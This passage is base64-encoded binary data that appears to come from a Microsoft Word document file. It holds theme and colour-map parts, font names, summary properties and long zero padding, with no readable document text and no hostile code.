EHWp50rMAng/5Sth0/6lxWyqfBrNemaYWwRVeDVi/T5jsNMHEiHVOpahTQ3zKE0BFmtJVv/5RXDr WRlQ0o1OpsXCMiTDv6YF+NENLRkOia+KwS6saN/Z27SV8pEiohsO9lCfjcQ2hvDrVAV7BlTC6w/T EfQNvLvT3jaP3OacFl3xjZnB2XXMkhCn7VaXaFbJFm4aUq6DuSuoB7aV6m6MO70ppuTPyJRiGv/P TNH7CbyNWBjoCPjwNllgpCul4XGhQg5dKAmp3xEwSJjeAdkC73/hMSQVvNM2v4Ls6l9bc5aHKWs4 VKptGiBBYT9SoSBkC9qSyb6XMKume5dlyVJGJqMK6srEqt0nu4T1dA9c0nu7h0JIddNN0jZgcEfz z71PK6gf6CGnWG9OJ8v3XlsD//TkY4sZjHL7sBloMv/nKubjwXRXtfSGPNt7i4boB9Mxq5ZVBQgr bAX1tOxfUYVTbrW2Y81YPL+YKQdRnLUYFvOBKIF3Skj/g/2PCp/ZryN6Q+3xbeitCD5uaGaQNpDV 5+zggXSDtIt9GJzsok0mzcq6Nh2dtNeyzfqMJ91c7hFna81OEu9TOjsfzlxxTi2epbNTDzu+tmvH uhoie7REYWmYHWxMYMyXteKXL96/DYFeh28II6akSSb4jiUwzNBdUwdQ/FaiIV39CwAA//8DAFBL AwQUAAYACAAAACEADdGQn7YAAAAbAQAAJwAAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdl ci54bWwucmVsc4SPTQrCMBSE94J3CG9v07oQkSbdiNCt1AOE5DUNNj8kUeztDa4sCC6HYb6ZabuX nckTYzLeMWiqGgg66ZVxmsFtuOyOQFIWTonZO2SwYIKObzftFWeRSyhNJiRSKC4xmHIOJ0qTnNCK VPmArjijj1bkIqOmQci70Ej3dX2g8ZsBfMUkvWIQe9UAGZZQmv+z/TgaiWcvHxZd/lFBc9mFBSii xszgI5uqTATKW7q6xN8AAAD//wMAUEsBAi0AFAAGAAgAAAAhAOneD7//AAAAHAIAABMAAAAAAAAA AAAAAAAAAAAAAFtDb250ZW50X1R5cGVzXS54bWxQSwECLQAUAAYACAAAACEApdan58AAAAA2AQAA CwAAAAAAAAAAAAAAAAAwAQAAX3JlbHMvLnJlbHNQSwECLQAUAAYACAAAACEAa3mWFoMAAACKAAAA HAAAAAAAAAAAAAAAAAAZAgAAdGhlbWUvdGhlbWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQItABQABgAI AAAAIQClXn0txwYAANcbAAAWAAAAAAAAAAAAAAAAANYCAAB0aGVtZS90aGVtZS90aGVtZTEueG1s UEsBAi0AFAAGAAgAAAAhAA3RkJ+2AAAAGwEAACcAAAAAAAAAAAAAAAAA0QkAAHRoZW1lL3RoZW1l L19yZWxzL3RoZW1lTWFuYWdlci54bWwucmVsc1BLBQYAAAAABQAFAF0BAADMCgAAAAA8P3htbCB2 ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8YTpjbHJN YXAgeG1sbnM6YT0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL2RyYXdpbmdtbC8y MDA2L21haW4iIGJnMT0ibHQxIiB0eDE9ImRrMSIgYmcyPSJsdDIiIHR4Mj0iZGsyIiBhY2NlbnQx PSJhY2NlbnQxIiBhY2NlbnQyPSJhY2NlbnQyIiBhY2NlbnQzPSJhY2NlbnQzIiBhY2NlbnQ0PSJh Y2NlbnQ0IiBhY2NlbnQ1PSJhY2NlbnQ1IiBhY2NlbnQ2PSJhY2NlbnQ2IiBobGluaz0iaGxpbmsi IGZvbEhsaW5rPSJmb2xIbGluayIvPgAAAABlBQAAHQAAGAAACAD/////AAAAAAMAAAAGAAAABgAA AAkAAAAMAAAADAAAAAwAAAAMAAAADAAAAB0AAAAdAAAAHQAAACAAAAAACAAA0hYAAAcAAAAACAAA 0hYAAAgAAAAPAADwOAAAAAAABvAYAAAAAgQAAAIAAAABAAAAAQAAAAEAAAACAAAAQAAe8RAAAAD/ /wAAAAD/AICAgAD3AAAQAA8AAvCSAAAAEAAI8AgAAAABAAAAAQQAAA8AA/AwAAAADwAE8CgAAAAB AAnwEAAAAAAAAAAAAAAAAAAAAAAAAAACAArwCAAAAAAEAAAFAAAADwAE8EIAAAASAArwCAAAAAEE AAAADgAAUwAL8B4AAAC/AQAAEADLAQAAAAD/AQAACAAEAwkAAAA/AwEAAQAAABHwBAAAAAEAAAAA AAAARgUAAEgFAABJBQAASwUAAEwFAABOBQAATwUAAFEFAABSBQAAYwUAAGYFAAAHAAcAAgAHAAIA BwACAAcAAgAHAAIAAAAAAEUDAABHAwAARgUAAEgFAABJBQAASwUAAEwFAABOBQAATwUAAFEFAABS BQAAYwUAAGYFAAAHABoABwAHAAIABwACAAcAAgAHAAIABwACAAAAAABGBQAASAUAAEkFAABLBQAA TAUAAE4FAABPBQAAUQUAAFIFAABhBQAAYwUAAGYFAAAHAAcAAgAHAAIABwACAAcAAgAFAAcAAgAC AOAjcgUAAAAAAAAAAAABAgACAL0Kgx/gI3IFAAAAAA8BEgDQAgAA0AIAAGQAAABkAAAAAQAGAAAA BAAAAAgAAADlAAAAAAAAAAQAAAAGPEgAhTlZAOtAiwCkDOgA4QfyACxC8gAAAAAARgUAAEgFAAAA AAAAAQAAAP9AA4ABAEUFAABFBQAAAAAAAAEAAQBFBQAAAAAAAEUFAAAAAAAAAhwAAAAAAAAA/AIA AGUFAADoAAAIAAAAAOgAABIAAAAA//8BAAAABwBVAG4AawBuAG8AdwBuAP//AQAIAAAAAAAAAAAA AAD//wEAAAAAAP//AAACAP//AAAAAP//AAACAP//AAAAAAYAAABHHpABzAACAgYDBQQFAgME/yoA 4EF4AMAJAAAAAAAAAP8BAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4AAAA1HpAB AgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBvAGwAAAAzLpABzAAC CwYEAgICAgIE/yoA4EN4AMAJAAAAAAAAAP8BAAAAAAAAQQByAGkAYQBsAAAANy6QAcwAAg8FAgIC BAMCBP8CAOD/rABAAQAAAAAAAACfAQAAAAAAAEMAYQBsAGkAYgByAGkAAAA1LpABzAACCwYEAwUE BAIE/y4A4VtgAMApAAAAAAAAAP8BAQAAAAAAVABhAGgAbwBtAGEAAABBEpABAQACBAUDBQQGAwIE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQwBhAG0AYgByAGkAYQAgAE0AYQB0AGgAAAAiAAQA8QiI GADwxAIAAGgBAAAAANElHGfRJRxnAAAAAAIAAQAAAMkAAAB9BAAAAQACAAAABAADkAkAAADJAAAA fQQAAAEAAgAAAAkAAAAAAAAAIQMA8BAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQZuBLQA tACBgTIwAAAAAAAAAAAAAAAAAABEBQAARAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAABS4MRAPAQAAgA/P0BAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAACEhQAAAAAAnw/w8ACSRQAADjBAAA////f////3////9///// f////3////9/////f+tAiwAABAAAMgAAAAAAAAAAAAAAAAAAAAAAAAAAACEEAAAAAAAAAAAAAAAA AAAAAAAAEBwAAAUAAAAAAAAAAAB4AAAAeAAAAAAAAAAAAAAAoAUAAAAAAAALAAAAAAAAANwAAAD/ /xIAAAAAAAAAAAAAAAAAAAAEAHMAdgBrAHUABABzAHYAawB1AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADg hZ/y+U9oEKuRCAArJ7PZMAAAABgBAAANAAAAAQAAAHAAAAAEAAAAeAAAAAcAAACIAAAACAAAAJgA AAAJAAAAqAAAABIAAAC0AAAACgAAANQAAAAMAAAA4AAAAA0AAADsAAAADgAAAPgAAAAPAAAAAAEA ABAAAAAIAQAAEwAAABABAAACAAAA4wQAAB4AAAAIAAAAc3ZrdQAAAAAeAAAACAAAAE5vcm1hbAAA HgAAAAgAAABzdmt1AAAAAB4AAAAEAAAAMgAAAB4AAAAYAAAATWljcm9zb2Z0IE9mZmljZSBXb3Jk AAAAQAAAAABGwyMAAAAAQAAAAAAe7Wcl8c4BQAAAAAAe7Wcl8c4BAwAAAAEAAAADAAAAyQAAAAMA AAB9BAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABgECAAAAAAAAAAAAAAAAAAAAAAABAAAAAtXN1ZwuGxCT lwgAKyz5rjAAAADsAAAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAAfAAAAAYAAACEAAAAEQAAAIwA AAAXAAAAlAAAAAsAAACcAAAAEAAAAKQAAAATAAAArAAAABYAAAC0AAAADQAAALwAAAAMAAAAyQAA AAIAAADjBAAAHgAAAAQAAAAAAAAAAwAAAAkAAAADAAAAAgAAAAMAAABEBQAAAwAAAAAADgALAAAA AAAAAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAB4QAAABAAAAAQAAAAAMEAAAAgAAAB4AAAAJAAAA zeDn4uDt6OUAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 